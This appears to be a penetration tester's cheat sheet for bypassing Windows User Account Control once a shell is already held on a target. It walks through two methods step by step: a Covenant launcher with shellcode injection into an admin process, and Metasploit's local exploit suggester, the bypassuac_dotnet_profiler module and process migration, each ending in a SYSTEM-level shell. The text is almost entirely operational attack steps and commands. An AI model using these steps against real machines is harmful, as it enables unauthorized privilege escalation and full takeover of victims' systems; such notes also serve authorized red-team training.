UAC Bypass

  • We assume that we already have a shell on the target

With Covenant

  • Get the helper.ps1 script with Powershell Import

  • Copy an encoded launcher from the Launchers session of Covenant

  • Type this command and append it with your launcher and close the quote PowerShell helper -custom "cmd.exe /c <Launcher-HERE>"

  • You will get a shell as the same user but your shell will be in an administrative user context

  • If you type ps you should be able to see also admin process

  • To have an admin shell we can download a grunt as a shellcode

  • To do so, We go to grunt we select shellcode we click on generate and we download the bin

  • Then back on the shell, we Type inject in the most recent shell and select the binary then use a process number with admin privileges click on execute

  • We should have a shell as system

With Metasploit

  • Interact with the current session using session -i id-of-session

  • type run post/multi/recon/local_exploit_suggester

  • We should see in the list this if the target is vulnerable

    [+] - exploit/windows/local/always_install_elevated: The target is vulnerable.
    [+] - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
  • Ctrl Z the session

  • use exploit/windows/local/bypassuac_dotnet_profiler

  • set the session to the id of the one we have on the target

  • and then exploit -j

  • We should have a new session

  • We are not admin yet but we have and administrative user context

  • List processes using ps and find one with admin rights remember the process id

  • type migrat process-id

  • if you type getuid you should have authority system


  • To understand more about Fodhelper

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